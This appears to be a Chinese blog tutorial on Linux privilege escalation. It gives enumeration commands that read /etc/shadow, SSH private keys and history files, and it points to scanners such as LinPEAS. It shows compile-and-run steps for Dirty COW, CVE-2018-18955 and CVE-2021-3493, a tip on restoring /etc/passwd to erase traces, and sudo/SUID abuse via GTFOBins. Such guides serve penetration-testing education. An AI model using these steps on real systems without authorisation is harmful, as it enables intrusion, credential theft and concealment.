Linux 提权
总述
本文总结了 常见的 Linux 环境下的 提权方法 与 提权流程。
神
Linux提权思路:
1. 前期信息收集
1.
2. 提权漏洞利用
Linux系统内核漏洞
Linux服务提权漏洞
SUDO权限滥用
SUID提权
GTFOBins
Linux提权一般是将用户权限提升到root权限:
user --> 提权 --> root
权限提升条件
1. 拥有Webshell/Beacon/Sessions,拥有普通用户权限
肯定要有落点,有初始的一个控制权限以后,我们才谈什么提权,连权限都没有如何提权呢?
2. 本地或远程服务器上存在漏洞,拥有漏洞利用工具代码
提权不是凭空提权,而是利用相关的漏洞、权限配置不当 等 途径,实现异常的权限突破拥有高权限账户的控制权。
3. 拥有某些软件的账号密码
通过用户的相关密码习惯直接得到其他高权限账户的密码,正常的登录途径实现权限跃升。
...
一. 信息收集
1. 手动信息收集
1)查看发行版本
Linux 的发行版本!而非 Linux 内核版本!
Ubuntu
Kali
Debian
Centos
...
cat /etc/issue
cat /etc/*-release
lsb_release -a

2)查看内核版本
uname -a
uname -mrs

3)环境变量
cat /etc/profile
cat /etc/bash.bashrc
cat ~/.bash_profile
cat ~/.bashrc
cat ~/.bash_logout
env
set
4)系统网络信息
/sbin/ifconfig -a
cat /etc/network/interfaces
cat /etc/sysconfig/network

5)应用程序和服务
ps aux
ps -ef
top
cat /etc/services
6)root用户运行的服务
ps aux | grep root
ps -ef | grep root
7)安装的应用程序
ls -alh /sbin/
dpkg -l
rpm -qa
ls -alh /var/cache/apt/archives
ls -alh /var/cache/yum/
8)服务配置错误
cat /etc/syslog.conf
cat /etc/chttp.conf
cat /etc/lighttpd.conf
cat /etc/cups/cupsd.conf
cat /etc/inetd.conf
cat /etc/apache2/apache2.conf
cat /etc/my.conf
cat /etc/httpd/conf/httpd.conf
cat /opt/lampp/etc/httpd.conf
ls -aRl /etc/ | awk '$1 ~ /^.*r.*/
9)计划任务
crontab -l
ls -alh /var/spool/cron
ls -al /etc/ | grep cron
ls -al /etc/cron*
cat /etc/cron*
cat /etc/cron.allow
cat /etc/cron.deny
cat /etc/crontab
cat /etc/anacrontab
cat /var/spool/cron/crontabs/root
10)通信与网络
# 系统网卡
/sbin/ifconfig -a
cat /etc/network/interfaces
cat /etc/sysconfig/network
# 网络配置(dhcp、dns、网关)
cat /etc/resolv.conf
cat /etc/sysconfig/network
cat /etc/networks
iptables -L
hostname
# 用户和主机与系统通信
lsof -i
lsof -i :80
grep 80 /etc/services
netstat -antup
netstat -antpx
netstat -tulpn
chkconfig --list
chkconfig --list | grep 3:on
last
w
# arp缓存、路由表
arp -e
route
/sbin/route –nee
# 数据包嗅探
tcpdump tcp dst 192.168.1.7 80 and tcp dst 10.5.5.252 21
11)机密信息和用户信息
# 登录用户
id
who
w
last
cat /etc/passwd | cut -d: -f1 # List of users
grep -v -E "^#" /etc/passwd | awk -F: '$3 == 0 { print $1}' # List of super users
awk -F: '($3 == "0") {print}' /etc/passwd # List of super users
cat /etc/sudoers
sudo -l
# 用户敏感文件
cat /etc/passwd
cat /etc/group
cat /etc/shadow
ls -alh /var/mail/
# 用户家目录
ls -ahlR /root/
ls -ahlR /home/
# 脚本、数据库、配置文件、日志文件
cat /var/apache2/config.inc
cat /var/lib/mysql/mysql/user.MYD
cat /root/anaconda-ks.cfg
# 历史记录
cat ~/.bash_history
cat ~/.nano_history
cat ~/.atftp_history
cat ~/.mysql_history
cat ~/.php_history
# 用户信息
cat ~/.bashrc
cat ~/.profile
cat /var/mail/root
cat /var/spool/mail/root
# ssh私钥信息
cat ~/.ssh/authorized_keys
cat ~/.ssh/id_rsa.pub
cat ~/.ssh/id_rsa
cat ~/.ssh/id_dsa.pub
cat ~/.ssh/id_dsa
12)文件系统
# 日志文件分析
cat /etc/httpd/logs/access_log
cat /etc/httpd/logs/error_log
cat /var/log/apache2/access_log
cat /var/log/apache2/error_log
# 找出可写的文件夹
find / -writable -type d 2>/dev/null
find / -perm -222 -type d 2>/dev/null
find / -perm -o w -type d 2>/dev/null
find / -xdev -type d ( -perm -0002 -a ! -perm -1000) -print
# 找出可执行的文件夹
find / -perm -o x -type d 2>/dev/null
# 找出可写可执行的文件夹
find / ( -perm -o w -perm -o x ) -type d 2>/dev/null
# 找出不是所有者的文件
find /dir -xdev ( -nouser -o -nogroup ) -print
13)准备和查找利用代码
# 支持的语言开发环境
find / -name perl*
find / -name python*
find / -name gcc*
find / -name cc
# 上传文件环境
find / -name wget
find / -name nc*
find / -name netcat*
find / -name tftp*
find / -name ftp
http://www.exploit-db.com
https://www.securityfocus.com/bid
https://www.rapid7.com/db/
https://cxsecurity.com/exploit/
https://seclists.org/fulldisclosure/
https://exploit.kitploit.com/
https://www.cvedetails.com/index.php
https://packetstormsecurity.com/
http://cve.mitre.org/cve/search_cve_list.html
https://nvd.nist.gov/vuln/categories
2. 自动化信息收集
1)LinPEAS
LinPEAS 是一个脚本,用于在 Linux/Unix*/MacOS 主机上搜索可能的提权路径。
项目地址:
https://github.com/peass-ng/PEASS-ng/tree/master/linPEAS
下载地址:
https://github.com/peass-ng/PEASS-ng/releases/tag/20250801-03e73bf3
./linpeas.sh > info.txt

2)beRoot
Windows 也有该款工具,该工具与此同时也支持 Linux 版本。
此工具不实现任何漏洞利用。它的主要目标不是对主机进行配置评估(列出所有服务、所有进程、所有网络连接等),而是仅打印那些被发现可能用于提升权限的信息。
项目地址:
https://github.com/AlessandroZ/BeRoot/tree/master/Linux
# 在 Linux 环境下,beRoot 为 python 脚本实现方式
python beroot.py > info.txt

二. 提权
1、Linux 提权漏洞 EXP 集合
1)Linux-kernel-exploits
Linux-kernel-exploits:Linux平台提权漏洞集合。
项目地址:
https://github.com/infinite-horizon219/Unix-Privilege-Escalation-Exploits-Pack
https://github.com/SecWiki/linux-kernel-exploits
2)searchsploit
searchsploit是一个用于 Exploit-DB 的命令行搜索工具。(Kali 已内置)
项目地址:
https://gitlab.com/exploit-database/exploitdb
数据库地址:
https://www.exploit-db.com/
searchsploit privilege | grep -i linux | grep -i kernel
Usage: searchsploit [options] term1 [term2] ... [termN]
==========
Examples
==========
searchsploit afd windows local
searchsploit -t oracle windows
searchsploit -p 39446
searchsploit linux kernel 3.2 --exclude="(PoC)|/dos/"
For more examples, see the manual: https://www.exploit-db.com/searchsploit/
=========
Options
=========
-c, --case [Term] 区分大小写(默认不区分大小写)
-e, --exact [Term] 对exploit标题进行EXACT匹配 (默认为 AND) [Implies "-t"].
-h, --help 显示帮助
-j, --json [Term] 以JSON格式显示结果
-m, --mirror [EDB-ID] 把一个exp拷贝到当前工作目录,参数后加目标id
-o, --overflow [Term] Exploit标题被允许溢出其列
-p, --path [EDB-ID] 显示漏洞利用的完整路径(如果可能,还将路径复制到剪贴板),后面跟
漏洞ID号
-t, --title [Term] 仅仅搜索漏洞标题(默认是标题和文件的路径)
-u, --update 检查并安装任何exploitdb软件包更新(deb或git)
-w, --www [Term] 显示Exploit-DB.com的URL而不是本地路径(在线搜索)
-x, --examine [EDB-ID] 使用$ PAGER检查(副本)Exp
--colour 搜索结果不高亮显示关键词
--id 显示EDB-ID
--nmap [file.xml] 使用服务版本检查Nmap XML输出中的所有结果(例如:nmap -sV -oX f
ile.xml)
使用“-v”(详细)来尝试更多的组合
--exclude="term" 从结果中删除值。通过使用“|”分隔多个值
例如--exclude=“term1 | term2 | term3”。
=======
Notes
=======
* 你可以使用任意数量的搜索词。
* Search terms are not case-sensitive (by default), and ordering is irrelevant.
* 搜索术语不区分大小写(默认情况下),而排序则无关紧要。
* 如果你想用精确的匹配来过滤结果,请使用用 -e 参数
* 使用' - t '将文件的路径排除,以过滤搜索结果
* 删除误报(特别是在搜索使用数字时 - i.e. 版本).
* 当更新或显示帮助时,搜索项将被忽略。
1. 基本搜索
会匹配标题和路径中的内容
searchsploit smb windows remote

2. 标题搜索
只匹配标题,不会对路径中的关键词进行匹配
searchsploit -t smb windows remote

3. 复制到剪贴板
-p参数可以获取更多关于该漏洞的信息,以及将完整的路径复制到剪贴板上
searchsploit -p 42315.py

4. 复制到文件夹
不建议在本地的漏洞数据库中修改exp,建议使用-m参数复制那些有用的到当前的工作目录
searchsploit -m 42315.py

2、提权漏洞利用
此处以几个常见的 Linux 提权漏洞演示举例。
A. 脏牛提权漏洞
漏洞名称:脏牛(Dirty COW)
CVE 编号:CVE-2016-5195
漏洞危害:低权限用户利用该漏洞技术可以在全版本 Linux 系统上实现本地提权
影响范围:Linux 内核2.6.22 < 4.9.x (x86/x64)
POC:
https://github.com/FireFart/dirtycow
# gcc编译
gcc -pthread dirty.c -o dirty -lcrypt
# 替换root用户
./dirty test123
结果:
在 /etc/passwd 文件中写入 firefart 用户及设置的密码 test123,且 firefart 用户的 uid、gid 均为 0,所以本质上就是一个 root 用户。
在消除痕迹的时候记得把备份文件 /tmp/passwd.bak 替换回 /etc/passwd
mv /tmp/passwd.bak /etc/passwd
ssh [email protected]


B. CVE-2018-18955
# 查找内核版本 4.15
searchsploit 4.15

# 查看 linux/local/47164.sh 的详细信息
searchsploit -p linux/local/47164.sh

git clone https://gitee.com/yijingsec/CVE-2018-18955
cd CVE-2018-18955
./exploit.cron.sh
或者
./exploit.dbus.sh

C. CVE-2021-3493
漏洞影响范围:
Ubuntu 20.10
Ubuntu 20.04 LTS
Ubuntu 18.04 LTS
Ubuntu 16.04 LTS
Ubuntu 14.04 ESM
项目地址:
https://github.com/briskets/CVE-2021-3493
# 漏洞利用
git clone https://gitee.com/yijingsec/CVE-2021-3493
cd CVE-2021-3493
gcc exploit.c -o exp
./exp

3、Linux密码泄露 - 且可碰撞破解
除了 漏洞提权 实现 接管高权限账户外,我们还可以尝试直接获取高权限账户的密码凭证等信息,如 /etc/passwd 或 /etc/shadow
/etc/passwd
所有用户都可以查看,存储着所有用户的信息,每一行代表一个用户,每一行通过冒号:分为七个部分:
1. 用户名
2. 密码,x表示密码保存在/etc/shadow
3. UID,0代表root
4. GID,表示所在组
5. 描述信息,依次为Full Name、Room Number、Work Phone、Home Phone和Other
6. 用户主目录
7. 默认shell类型
root:x:0:0:root:/root:/usr/bin/zsh
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
...
insecurity:AzER3pBZh6WZE:0:0::/:/bin/sh


/etc/shadow
只有root用户能够查看,保存加密后的密码和用户相关密码信息,每个用户一行,每一行通过冒号:分为九个部分:
1. 用户名
2. 加密后的密码
3. 上次修改密码的时间(从1970.1.1开始的总天数)
4. 两次修改密码间隔的最少天数,如果为0,则没有限制
5. 两次修改密码间隔最多的天数,表示该用户的密码会在多少天后过期,如果为99999则没有限制提
6. 前多少天警告用户密码将过期
7. 在密码过期之后多少天禁用此用户
8. 用户过期日期(从1970.1.1开始的总天数),如果为0,则该用户永久可用
9. 保留
root:$y$j9T$fzpex14J4...Eq4D2LEF4:20173:0:99999:7:::
daemon:*:19953:0:99999:7:::
bin:*:19953:0:99999:7:::
sys:*:19953:0:99999:7:::
sync:*:19953:0:99999:7:::
games:*:19953:0:99999:7:::
man:*:19953:0:99999:7:::
...
kali:$y$j9T$L8EfdaMVAFjk...0PMHZImf6:20004:0:99999:7:::
cups-pk-helper:!:20034::::::
4、滥用的SUDO权限
除了上面的两个:
利用提权漏洞实现权限提升
利用获取到高权限账户密码实现权限提升
外,我们还可以利用系统 SUDO 相关配置权限的不当来实现 提权。
sudo简介
sudo是linux系统管理指令,是允许系统管理员让普通用户执行一些或者全部的root命令的一个工具。
sudo配置文件:
/etc/sudoers
配置文件权限:0440
相关文章:
https://www.runoob.com/linux/linux-comm-sudo.html
https://blog.csdn.net/netlai/article/details/79727187
# 显示出自己(执行sudo的使用者)的权限
sudo -l
# 执行环境变量中的shell所指定的shell,或是 /etc/passwd 里所指定的shell
sudo –s
- sudo -l

- sudo -s

sudo 提权
首先查看我们当前账户所拥有的相关 sudo 权限

1. bash 环境提权 root
利用 bash、zsh、sh 等操作面板环境变量的默认 root 用户,来实现提权。
我们当前用户拥有 bash、zsh、sh 等操作面板的 sudo 权限的话,我们 sudo bash、sudo zsh 等 或 sudo -s 切换到拥有 root 权限的面板的时候,其实本质上就是已经拥有 root 权限的交互式命令行界面了呀。
所以这种情况,当我们 sudo 切换环境的时候,我们知道 当前拥有sudo 权限账户的 明文密码,让我们可以正常的 sudo 认证成功切换权限的时候,那我们就直接可以得到 root 的一个交互式命令行 Shell 了,实现权限提升。



2. 其他命令的 sudo 滥用实现提权 root
我们可以看到除了我们上述说的这种 bash、zsh、sh 交互式命令行界面可能存在 sudo 的滥用,其他的一些正常命令可能因相关场景、业务的考虑,也要拥有相关的 sudo 权限,可能都不算滥用,但是这种情况仍然可以被我们 黑客 进行恶意利用提权,如我们下面看到的这些命令全都可以实现 sudo 的恶意利用得到 root 权限的 交互式 shell。

具体每个命令的相关 恶意利用 的实现方法:
https://gtfobins.github.io/




- 其他的命令 sudo 恶意利用方法同理 ...
5、SUID权限提权
SUID权限说明:
1. 启动为进程之后,其进程的属主为原程序文件的属主
2. 只能作用在二进制程序上,不能作用在脚本上,且设置在目录上无意义
3. 执行suid权限的程序时,此用户将继承此程序的所有者权限
find命令查找拥有suid权限的文件:
find / -perm -u=s -type f 2>/dev/null
不同的用户,搜索出来的结果是不同的。

...
利用SUID权限;
https://gtfobins.github.io/
同 sudo,直接利用已有的相关命令手法即可。




本文链接:
/archives/linux-ti-quan
版权声明:
本站所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自
QiaoShen-World!
喜欢就支持一下吧